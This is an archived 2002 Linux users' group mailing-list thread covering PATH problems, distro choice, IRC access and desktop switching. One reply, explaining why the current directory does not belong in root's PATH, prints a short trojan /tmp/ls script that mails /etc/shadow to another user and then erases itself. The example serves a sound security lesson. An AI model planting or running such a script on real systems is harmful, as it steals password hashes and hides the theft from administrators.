we'll put it up to run behind the web site (giggle)! Vic http://members.cox.net/vodhner/ From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 15:53:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (Clayton Stapleton) Date: Sun, 2 Jun 2002 08:53:24 -0700 Subject: Bash Scripts Message-ID: <200206020853.24050.vernon@impulsedata.net> Figured out what is causing my problem with scripts. I can copy the body of a file to the command line and it fuction as expected. When I enter the file name on the command line I get "command not found". The permissions of the file are: -rwxr-xr-x 1 clay users 51 May 30 05:43 hello My setup is: cpu: AMD Athlon XP 1600+ ram: 256 MB OS: SuSE Linux 8.0 desktop: KDE3 shell: bash 2.05-302 editor: vim 6.0-155 console: Shell-Konsole I have tried this with a c program with the same results, "command not found". Any ideas out there on what is causing this? Clay Stapleton From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 16:07:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Sun, 2 Jun 2002 09:07:12 -0700 Subject: Bash Scripts In-Reply-To: <200206020853.24050.vernon@impulsedata.net> References: <200206020853.24050.vernon@impulsedata.net> Message-ID: <0206020907120S.00730@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Sounds like the directory is not in the PATH. Try cd'ing to the directory and entering ./scriptname. On Sunday 02 June 2002 08:53, you wrote: > Figured out what is causing my problem with scripts. > I can copy the body of a file to the command line and > it fuction as expected. When I enter the file name on > the command line I get "command not found". > The permissions of the file are: > -rwxr-xr-x 1 clay users 51 May 30 05:43 hello > > My setup is: > cpu: AMD Athlon XP 1600+ > ram: 256 MB > OS: SuSE Linux 8.0 > desktop: KDE3 > shell: bash 2.05-302 > editor: vim 6.0-155 > console: Shell-Konsole > > I have tried this with a c program with the same results, > "command not found". > > Any ideas out there on what is causing this? > > Clay Stapleton > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPPpCsCsk3ywszI1FEQJPqACgnvrRjkIWMxfZiId6k7iSJJeAa4wAn0g4 Pcff4tlfipOm94hN13olrOKu =c2jj -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 16:09:45 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 02 Jun 2002 09:09:45 -0700 Subject: Bash Scripts In-Reply-To: <200206020853.24050.vernon@impulsedata.net> References: <200206020853.24050.vernon@impulsedata.net> Message-ID: <1023034185.28160.8.camel@barney.azapple.com> On Sun, 2002-06-02 at 08:53, Clayton Stapleton wrote: > Figured out what is causing my problem with scripts. > I can copy the body of a file to the command line and > it fuction as expected. When I enter the file name on > the command line I get "command not found". > The permissions of the file are: > -rwxr-xr-x 1 clay users 51 May 30 05:43 hello ---- run it... ./hello Craig From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 16:12:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Sun, 2 Jun 2002 09:12:08 -0700 (MST) Subject: From Scratch? (was Re: Distribution Advice) In-Reply-To: <000e01c20986$8e790a40$0f01a8c0@workstation> Message-ID: On Sat, 1 Jun 2002, David Uhlman wrote: > one can make [one's] own LFS from a stock redhat or mandrake etc. > Start with an installed copy of the base system on a clean drive and > build package by package until you get where you want to go That's a great way to tear apart a distro like RedHat and see what makes it tick. You will learn plenty, 'tho not quite the same things you'd learn with a totally From Scratch approach. Consider these two approaches: A. Start with a 1957 Chevy Bel Air. Remove the engine. Replace one part at a time on the engine, making sure the engine continues to work after each new part. Reinstall the engine. Drive away. B. Start with a bare engine block and a barrel full of Chevy parts. Using only an exploded diagram, assemble a working engine. Find a 1957 Chevy Bel Air frame at the junkyard, and several "hulks" from which you can pull body parts. Pull pieces from the hulks and add them to your masterpiece. Drive away. Both approaches have their advantages, depending on what you want to learn. \\/ http://www.wlindley.com From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 16:08:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Sun, 02 Jun 2002 12:08:27 -0400 Subject: InstallFest / Distribution Advice References: <000501c2085d$d9fd44b0$6500000a@janus> <000e01c20986$8e790a40$0f01a8c0@workstation> Message-ID: <3CFA42FB.3DF6EAD5@georgetoft.com> Why would you invite a newbie to start with one of the most challenging projects out there? Let's set the way-back machine to when you were learning to ride a bicycle. Did your parents make you build your bike to start off (Slackware, Debian, LFS)? No - they gave you a bike with training wheels that already worked (Mandrake, Red Hat). As you gained familiarity with the mechanics of riding a bike (Linux administration), the training wheels were removed, and you were on your own (to ride whatever you wanted). If a person is already familiar with Unix (riding some kind of bike), then this is not much of an issue, but then they probably won't call themselves a newbie and ask for help/advice. By building their bike from scratch they do learn much more, but maybe they don't want to be a bike mechanic. Maybe they want to ride the bike instead of being pulled around in the red wagon by Microsoft, being taken where ever Microsoft decides. You don't have to be a bike mechanic to ride, although it helps when you break the bike to be able to fix it quickly. There are plenty of bike mechanics out here that can lend a hand to a newbie when they break their bike, or when they want to trick it out (video capture, sound editing, VCD mastering, writing device drivers, etc). Maybe I'm recalling my first Linux experience. It took me a week to get Linux to print without stair-stepping because, at that time, all that was avaialble was using vi to edit printcap. I learned more than I ever wanted to know (I was overwhelmed), and ran screaming back to my red wagon. Two years later, after having my red wagon tipped over every 60 minutes, I bought an already built bike (Red Hat) and learned to ride. When I got Star Office 4, Netscape, and Acrobat Reader running (back when these did not come with Linux distros, but had to be downloaded as tarballs and installed and configured and tweaked), I shed the training wheels and threw the red wagon away. You have to crawl before you can run. My $0.02 plus some. George From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 16:26:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Sun, 02 Jun 2002 12:26:29 -0400 Subject: Bash Scripts References: <200206020853.24050.vernon@impulsedata.net> Message-ID: <3CFA4735.ACA0B941@georgetoft.com> The command is not in your path. DOS/Windows makes . (your current directory, know in Unix as your CWD) the first place to look for files. This presents a major security risk, and is highly discouraged. Therefore, you need to preceed the script name with ./ to tell the shell to use the script in your CWD, like this: ./hello If that becomes too burdonsome for you, edit ~/.bash_profile, and add: PATH=$PATH:. This makes the shell look for stuff in your CWD last. I still STRONGLY RECOMMEND you do not do this. NEVER, NEVER, NEVER do this as root!!! EVER!!! History lesson: A long time ago, people used to have . in their path, even as root. The some bright boy figured out he could put this script in /tmp/ls: #!/bin/sh cat /etc/shadow | mailx -s "password file" joeblow /bin/ls $1 $2 $3 $4 $5 $6 rm -f /tmp/ls exit $? Since /tmp is world writable, if root happened to have . before /bin in his PATH, and root happened to be in /tmp and typed ls, this script executes, sends the password shadow file to jowblow, and then executes the normal ls command so it looks good, then it deletes itself. Joe could then run a password cracking program against the file and retrieve other passwords, like root's. Regards, George Clayton Stapleton wrote: > > Figured out what is causing my problem with scripts. > I can copy the body of a file to the command line and > it fuction as expected. When I enter the file name on > the command line I get "command not found". > The permissions of the file are: > -rwxr-xr-x 1 clay users 51 May 30 05:43 hello > > My setup is: > cpu: AMD Athlon XP 1600+ > ram: 256 MB > OS: SuSE Linux 8.0 > desktop: KDE3 > shell: bash 2.05-302 > editor: vim 6.0-155 > console: Shell-Konsole > > I have tried this with a c program with the same results, > "command not found". > > Any ideas out there on what is causing this? > > Clay Stapleton > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 16:32:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (steve) Date: 02 Jun 2002 09:32:04 -0700 Subject: Bash Scripts In-Reply-To: <200206020853.24050.vernon@impulsedata.net> References: <200206020853.24050.vernon@impulsedata.net> Message-ID: <1023035530.26074.2.camel@tomahawk.lww.com> you need to preface your command with ./ (i.e. ./hello) the reason for this is that your current directory is not in your path for security reasons. Steve Phariss > > I have tried this with a c program with the same results, > "command not found". > > Any ideas out there on what is causing this? > > Clay Stapleton > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 17:29:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (technomage) Date: Sun, 2 Jun 2002 10:29:12 -0700 Subject: IRC Linux channel? In-Reply-To: <3CF912F9.E14C11CA@aaahawk.com> References: <200205301740.g4UHe3202954@PlugList.MyButt.Net> <3CF912F9.E14C11CA@aaahawk.com> Message-ID: <20020602172913.HTJN25007.fed1mtao01.cox.net@there> well, thats unusual. when did you attempt connection? the server is up 24/7 and there appears to be no current problems. you might want to check the port. also, the pretorian.ath.cx is lowercase. I'll also have to check the hostname to see if its been dropped. Technomage On Saturday 01 June 2002 11:31 am, you wrote: > Hello all, Im a bit new to all of this but have been messin with Linux > for about a year. So I will ask my newbie question and look like a fool > for the proverbial 5 min. Im not sure how to connect to the > Pretorian.atx.cx chat thingy with the IRC. I try to connect and it > always times out. What am I doing wrong? I have tried X-Chat IRC Client > and Mozilla-IRC. If someone could help me set that up I would greatly > appreciate it. Thanks. > > Luke > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- I will not be pushed, filed, stamped, indexed, briefed, debriefed, or numbered! My life is my own - No. 6 From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 17:44:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sun, 2 Jun 2002 10:44:57 -0700 (PDT) Subject: InstallFest Press Release RC2 In-Reply-To: <3CFA3687.4FB6F914@cox.net> Message-ID: On Sun, 2 Jun 2002, Victor Odhner wrote: > Matt wrote: > > Ooh! Ooh! Once it's been stripped-down for the > > radio, can I read it? I'm taking voice-over > > lessons on the side and I would love to do this > > for PLUG. > > ~M > > Then you would be the best person to come up with > a speakable version, neh? Why don't YOU try to > write a brief verbal equivalent for RC2? > Keep it comprehensible, dumb it down. > > And DROP the GNU bit, it just won't fly > in this context -- they'll just think the > announcer is sneezing! > > My broadcast journalism course was 38 years ago! ;-) > > You wanna read it? Send us an mp3, we'll put it > up to run behind the web site (giggle)! I'm all over that bad boy. I'll plan for a 30-second spot and send you an MP3 when I'm done. ~M From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 17:43:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sun, 2 Jun 2002 10:43:23 -0700 (PDT) Subject: IRC Linux channel? In-Reply-To: <20020602172913.HTJN25007.fed1mtao01.cox.net@there> Message-ID: I wasn't able to connect for the first time the other day either. I just now retried and was able to get in, but I noticed that I had "atx" saved in my KSirc configuration instead of "ath". It may have been a typo on my part or it could be spelled wrong on the PLUG website (which is down right now so I can't check). ~M On Sun, 2 Jun 2002, technomage wrote: > well, > thats unusual. > when did you attempt connection? > > the server is up 24/7 and there appears to be no current problems. > > you might want to check the port. also, the pretorian.ath.cx is lowercase. > > I'll also have to check the hostname to see if its been dropped. > > Technomage > > On Saturday 01 June 2002 11:31 am, you wrote: > > Hello all, Im a bit new to all of this but have been messin with Linux > > for about a year. So I will ask my newbie question and look like a fool > > for the proverbial 5 min. Im not sure how to connect to the > > Pretorian.atx.cx chat thingy with the IRC. I try to connect and it > > always times out. What am I doing wrong? I have tried X-Chat IRC Client > > and Mozilla-IRC. If someone could help me set that up I would greatly > > appreciate it. Thanks. > > > > Luke > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -- > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > numbered! > My life is my own - No. 6 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 18:18:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sun, 2 Jun 2002 11:18:58 -0700 (PDT) Subject: IRC Linux channel? In-Reply-To: Message-ID: Yep. It's spelled wrong on the PLUG website. ~M On Sun, 2 Jun 2002, Matt Alexander wrote: > I wasn't able to connect for the first time the other day either. I just > now retried and was able to get in, but I noticed that I had "atx" saved > in my KSirc configuration instead of "ath". It may have been a typo on my > part or it could be spelled wrong on the PLUG website (which is down right > now so I can't check). > ~M > > > On Sun, 2 Jun 2002, technomage wrote: > > > well, > > thats unusual. > > when did you attempt connection? > > > > the server is up 24/7 and there appears to be no current problems. > > > > you might want to check the port. also, the pretorian.ath.cx is lowercase. > > > > I'll also have to check the hostname to see if its been dropped. > > > > Technomage > > > > On Saturday 01 June 2002 11:31 am, you wrote: > > > Hello all, Im a bit new to all of this but have been messin with Linux > > > for about a year. So I will ask my newbie question and look like a fool > > > for the proverbial 5 min. Im not sure how to connect to the > > > Pretorian.atx.cx chat thingy with the IRC. I try to connect and it > > > always times out. What am I doing wrong? I have tried X-Chat IRC Client > > > and Mozilla-IRC. If someone could help me set that up I would greatly > > > appreciate it. Thanks. > > > > > > Luke > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > -- > > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > > numbered! > > My life is my own - No. 6 > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 18:52:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (KevinO) Date: Sun, 02 Jun 2002 11:52:04 -0700 Subject: From Scratch? (was Re: Distribution Advice) References: Message-ID: <3CFA6954.6010606@deru.com> William Lindley wrote: > A. Start with a 1957 Chevy Bel Air. Oh... Oh ... Can we do a Chevy Nomad ??? -- Kevin O'Connor "People will be free to devote themselves to activities that are fun ... The GNU Manifesto - Copyright (C) 1985, 1993 Free Software Foundation, Inc. From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 19:32:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (Clayton Stapleton) Date: Sun, 2 Jun 2002 12:32:08 -0700 Subject: Bash Scripts In-Reply-To: <1023035530.26074.2.camel@tomahawk.lww.com> References: <200206020853.24050.vernon@impulsedata.net> <1023035530.26074.2.camel@tomahawk.lww.com> Message-ID: <200206021232.08810.vernon@impulsedata.net> Thanks all the ./ did the trick. And I now know the history which is good. Clay Stapleton On Sunday 02 June 2002 09:32, steve wrote: > you need to preface your command with ./ (i.e. ./hello) the reason > for this is that your current directory is not in your path for security > reasons. > > Steve Phariss > > > I have tried this with a c program with the same results, > > "command not found". > > > > Any ideas out there on what is causing this? > > > > Clay Stapleton > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 21:18:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Gerald Winkler) Date: Sun, 2 Jun 2002 14:18:59 -0700 Subject: RH 7.X References: <200206020853.24050.vernon@impulsedata.net> <1023035530.26074.2.camel@tomahawk.lww.com> <200206021232.08810.vernon@impulsedata.net> Message-ID: <009f01c20a7b$1c7351d0$6501a8c0@drghastly> Hmm. I was wondering how you switch from a default desktop of Gnome to KDE? From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 21:59:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 02 Jun 2002 14:59:31 -0700 Subject: OT: Laptop Parts Message-ID: <200206022202.SAA22895@hostinworld6.com> After being on vacation for a week, I have finally returned home to find myself reading >700 e-mails. (For those interested, it was divided about 50/50 Junk/PLUG.) Anyway, now that I'm caught up with that, I have time to play the the laptop I bought on vacation (yes, work is never far) and I'm now working on scrounging parts for it. It cost about $90 and the PCMCIA NIC $20 at a PC consignment shoppe but of course taht also means it's been used. This is a Dell Latitude XP 4100CX laptop running a 486DX(Yes, for real), 1.2Gb HD, 12Mb RAM, and a floppy. First thing is first, can anyone tell me of a good place for a replacement battery cheap. Its has been toasted (memory thing) and it really isn't all that useful w/o a battery. I've got a couple bids on eBay but I was hoping for something a little more immediate. Second, I'd like a larger HD for Linux. Since it doesn't have a CD-ROM drive, I'd like to copy the distro disks to the HD so I can install packages on the road. Can anyone tell me of a good place for cheap, large capacity, 2.5" HDs and possibly their price & size. Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 22:01:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dr.G) Date: Sun, 2 Jun 2002 15:01:54 -0700 Subject: RH 7.X References: <200206020853.24050.vernon@impulsedata.net> <1023035530.26074.2.camel@tomahawk.lww.com> <200206021232.08810.vernon@impulsedata.net> <009f01c20a7b$1c7351d0$6501a8c0@drghastly> Message-ID: <00a501c20a81$1b510a30$6501a8c0@drghastly> Nevermind. I figured it out, but thanks anyways! ----- Original Message ----- From: "Gerald Winkler" To: Sent: Sunday, June 02, 2002 2:18 PM Subject: RH 7.X > Hmm. I was wondering how you switch from a default desktop of Gnome to KDE? > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 22:12:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (Codie William Masters) Date: 02 Jun 2002 15:12:01 -0700 Subject: RH 7.X In-Reply-To: <009f01c20a7b$1c7351d0$6501a8c0@drghastly> References: <200206020853.24050.vernon@impulsedata.net> <1023035530.26074.2.camel@tomahawk.lww.com> <200206021232.08810.vernon@impulsedata.net> <009f01c20a7b$1c7351d0$6501a8c0@drghastly> Message-ID: <1023055922.14206.1.camel@Quantum> --=-BL5bl8fe0ouY5xy+41/R Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Sun, 2002-06-02 at 14:18, Gerald Winkler wrote: > Hmm. I was wondering how you switch from a default desktop of Gnome to KD= E? Run 'switchdesk' from a terminal window. You might need to run switchdesk-(whatever) for your current setup. -- codie --=-BL5bl8fe0ouY5xy+41/R Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA8+pgx+zdnEx4UzMcRAuU4AJoD/4Oa1xdEi78XQnuvkeuZaAZtlwCcDlVD CH1x1+RzdCmTCGybAOu05QE= =jSoR -----END PGP SIGNATURE----- --=-BL5bl8fe0ouY5xy+41/R-- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 22:13:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Frank Mandato) Date: 02 Jun 2002 15:13:47 -0700 Subject: RH 7.X In-Reply-To: <009f01c20a7b$1c7351d0$6501a8c0@drghastly> References: <200206020853.24050.vernon@impulsedata.net> <1023035530.26074.2.camel@tomahawk.lww.com> <200206021232.08810.vernon@impulsedata.net> <009f01c20a7b$1c7351d0$6501a8c0@drghastly> Message-ID: <1023056028.1293.4.camel@vdsl-130-13-147-187.phnx.uswest.net> MainMenu/Programs/System/Desktop Switching Tool, that'll do the trick --- you have to log out and back in to affect the change. FrankM On Sun, 2002-06-02 at 14:18, Gerald Winkler wrote: > Hmm. I was wondering how you switch from a default desktop of Gnome to KDE? > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 22:10:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Sun, 2 Jun 2002 15:10:26 -0700 (PDT) Subject: RH 7.X In-Reply-To: <009f01c20a7b$1c7351d0$6501a8c0@drghastly> Message-ID: <20020602221026.98157.qmail@web13404.mail.yahoo.com> --- Gerald Winkler wrote: > Hmm. I was wondering how you switch from a default > desktop of Gnome to KDE? > Hi Gerald, From your question I'm just assuming that you already have KDE installed. If that's the case you'll find a dotfile (hidden file) in your home directory called '.xinitrc'. Do 'ls -a' so that it'll show up. Then you want to use your favorite editor and edit that file. Add the line 'startkde' at the first line. Exit Gnome if you are using it and run 'startx' at the console. Then hopefully you should be staring at the KDE desktop. If this doesn't work. Wait for someone else to post a much better explanation on how to get this done :). __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 23:12:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sun, 2 Jun 2002 16:12:54 -0700 (PDT) Subject: InstallFest Radio Ad RC1 ;-) In-Reply-To: Message-ID: The InstallFest Radio Ad RC1 is available for download at: http://plug.netpro.to/radio/ From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 23:48:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Sun, 2 Jun 2002 16:48:10 -0700 Subject: IRC Linux channel? In-Reply-To: <20020602172913.HTJN25007.fed1mtao01.cox.net@there> References: <200205301740.g4UHe3202954@PlugList.MyButt.Net> <3CF912F9.E14C11CA@aaahawk.com> <20020602172913.HTJN25007.fed1mtao01.cox.net@there> Message-ID: <20020602164810.066fdda2.derek@gnue.org> Not to be taken the wrong way, but again this is why using something like openprojects.net just seems like a better idea. -Derek On Sun, 2 Jun 2002 10:29:12 -0700 technomage wrote: > well, > thats unusual. > when did you attempt connection? > > the server is up 24/7 and there appears to be no current problems. > > you might want to check the port. also, the pretorian.ath.cx is > lowercase. > > I'll also have to check the hostname to see if its been dropped. > > Technomage > > On Saturday 01 June 2002 11:31 am, you wrote: > > Hello all, Im a bit new to all of this but have been messin with > > Linux for about a year. So I will ask my newbie question and look > > like a fool for the proverbial 5 min. Im not sure how to > > connect to the Pretorian.atx.cx chat thingy with the IRC. I try to > > connect and it always times out. What am I doing wrong? I have tried > > X-Chat IRC Client and Mozilla-IRC. If someone could help me set that > > up I would greatly appreciate it. Thanks. > > > > Luke > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -- > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > numbered! > My life is my own - No. 6 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 00:00:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Frank Mandato) Date: 02 Jun 2002 17:00:44 -0700 Subject: From Scratch? (was Re: Distribution Advice) In-Reply-To: References: Message-ID: <1023062446.1293.10.camel@vdsl-130-13-147-187.phnx.uswest.net> I for one would like to install Linux --- on an empty hard drive without any operating system on it and only use source code, no distro. It's easy, for the most part, to install from a CD and get any distro up and running, but I sure would like to start from scratch. I did check out LFS and I must have a Linux partition in order to install. Any pointers where to get some HowTo's or info on this? TIA FrankM On Sun, 2002-06-02 at 09:12, William Lindley wrote: > On Sat, 1 Jun 2002, David Uhlman wrote: > > one can make [one's] own LFS from a stock redhat or mandrake etc. > > Start with an installed copy of the base system on a clean drive and > > build package by package until you get where you want to go > > That's a great way to tear apart a distro like RedHat and see what makes > it tick. You will learn plenty, 'tho not quite the same things you'd > learn with a totally From Scratch approach. Consider these two > approaches: > > A. Start with a 1957 Chevy Bel Air. > Remove the engine. > Replace one part at a time on the engine, making sure > the engine continues to work after each new part. > Reinstall the engine. > Drive away. > > B. Start with a bare engine block and a barrel full of Chevy parts. > Using only an exploded diagram, assemble a working engine. > Find a 1957 Chevy Bel Air frame at the junkyard, and > several "hulks" from which you can pull body parts. > Pull pieces from the hulks and add them to your masterpiece. > Drive away. > > Both approaches have their advantages, depending on what you want to > learn. > > \\/ > http://www.wlindley.com > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 00:14:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sun, 2 Jun 2002 17:14:17 -0700 (PDT) Subject: your post - strange mouse/keyboard behavoir - I also need help In-Reply-To: <3CF9E638.3000806@uvic.ca> Message-ID: Nope... I still have the problem, but it only seems to affect 2 of my users. I'm planning on swapping out their boxes to see if it's a hardware issue, but in the meantime the best work-around is for them to randomly click their mouse buttons on a blank area of the screen. This unfreezes the GUI, but the problem eventually returns. So far I haven't been able to find any patterns of activity that lead up to the freeze. ~M On Sun, 2 Jun 2002, islandkid wrote: > I read the below post of yours while I was looking for a solution to my problem. I have > the identical problem with my linux system. Did you ever figure out how to fix it? > > ----------------------------------------------------------------- > I setup a k12ltsp server (http://k12ltsp.org) at work and I plan on using > it for our employees in our call center (they have very limited software > needs so this will be a good testing ground). I've been testing things > and I keep encountering random problems with the mouse/keyboard within > KDE. Sometimes I can no longer click on anything. The only way to get > out is to Ctrl-Alt-Backspace to kill the X session. This seems to happen > most often when clicking the Logout button on the taskbar, I can't click > anything else or use any keyboard keys (except Ctrl-Alt-Backspace) to > complete the logout process. > > The hardware is fairly simple: Serial mouse, P-133MHz, 64MB RAM, 1MB > Video card. > > Here's what I get in .xsession-errors after logging in: > > XIM DEBUG: xset: bad font path element (#37), possible causes are: > Directory does not exist or has wrong permissions > Directory missing fonts.dir > Incorrect font server address or syntax > xset: bad font path element (#37), possible causes are: > Directory does not exist or has wrong permissions > Directory missing fonts.dir > Incorrect font server address or syntax > DCOPServer up and running. > DCOP Cleaning up dead connections. > Mutex destroy failure: Device or resource busy > Mutex destroy failure: Device or resource busy > Mutex destroy failure: Device or resource busy > mcop warning: user defined signal handler found for SIG_PIPE, overriding > QWidget::setMinimumSize: The smallest allowed size is (0,0) > QWidget::setMaximumSize: (unnamed/DigitalClock) Negative sizes (2,-4) are not possible > QWidget::setMinimumSize: The smallest allowed size is (0,0) > QWidget::setMaximumSize: (unnamed/QLabel) Negative sizes (49,-4) are not possible > QWidget::setMinimumSize: The smallest allowed size is (0,0) > QWidget::setMaximumSize: (unnamed/DigitalClock) Negative sizes (2,-4) are not possible > QWidget::setMinimumSize: The smallest allowed size is (0,0) > QWidget::setMaximumSize: (unnamed/QLabel) Negative sizes (49,-4) are not possible > QObject::connect: No such slot > KWrited::block_in(const char*,int) > QObject::connect: (sender name: 'unnamed') > QObject::connect: (receiver name: 'unnamed') > > I also have a shell script that I created an icon for our users to click > on. Here's the contents of the script: > > /usr/X11R6/bin/xterm -T Matt-Test -e /usr/bin/telnet 172.16.10.20 & > > After clicking this icon, I get this message in .xsession-errors: > > Invalid entry (missing '=') at /usr/local/bin/matt-test.sh:1 > > Any guesses as to what's going on? > Thanks, > ~M > > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - 